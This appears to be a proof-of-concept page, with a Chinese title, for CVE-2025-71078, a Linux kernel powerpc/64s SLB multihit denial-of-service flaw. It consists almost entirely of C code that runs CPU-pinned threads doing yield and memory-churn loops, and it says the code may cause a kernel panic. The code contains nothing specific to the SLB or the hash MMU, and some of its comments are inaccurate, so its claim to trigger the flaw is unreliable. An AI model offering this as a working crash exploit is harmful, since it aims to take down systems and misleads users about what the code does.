CVE-2025-71078: Linux内核powerpc/64s SLB多重命中本地拒绝服务漏洞

// CVE-2025-71078 PoC - SLB Multihit Trigger // This PoC demonstrates the race condition in SLB preload cache // Note: Actual exploitation requires specific kernel configuration // and timing conditions on powerpc/64s hash MMU systems #include <stdio.h> #include <stdlib.h> #include <pthread.h> #include <sched.h> #include <unistd.h> #define NUM_ITERATIONS 256 void* cpu_stress_thread(void* arg) { int cpu_id = *(int*)arg; // Set thread affinity to specific CPU cpu_set_t cpuset; CPU_ZERO(&cpuset); CPU_SET(cpu_id, &cpuset); sched_setaffinity(0, sizeof(cpu_set_t), &cpuset); // Trigger context switches and SLB operations for (int i = 0; i < NUM_ITERATIONS; i++) { // Force context switch by yielding sched_yield(); // Create memory pressure to trigger cache eviction volatile char* buf = malloc(4096); for (int j = 0; j < 1024; j++) { buf[j] = (char)(i + j); } free((void*)buf); } return NULL; } int main() { printf("CVE-2025-71078 SLB Multihit PoC\n"); printf("Target: Linux Kernel powerpc/64s hash MMU\n"); printf("Requires: Multi-core system with hash MMU enabled\n\n"); // Check if system is vulnerable (powerpc with hash MMU) // This is a simplified demonstration pthread_t threads[2]; int cpu0 = 0, cpu1 = 1; printf("Starting stress test to trigger SLB race condition...\n"); // Create threads on different CPUs to trigger migration pthread_create(&threads[0], NULL, cpu_stress_thread, &cpu0); pthread_create(&threads[1], NULL, cpu_stress_thread, &cpu1); pthread_join(threads[0], NULL); pthread_join(threads[1], NULL); printf("Test completed. Check system logs for SLB errors.\n"); printf("On vulnerable systems, this may cause kernel panic.\n"); return 0; } /* * Actual exploitation requires: * 1. PowerPC 64-bit system with hash MMU * 2. Multiple CPU cores * 3. Specific timing to trigger the race condition * 4. Process must share mm_struct across context switches * * The vulnerability allows triggering SLB multihit error * which typically causes system crash/DoS */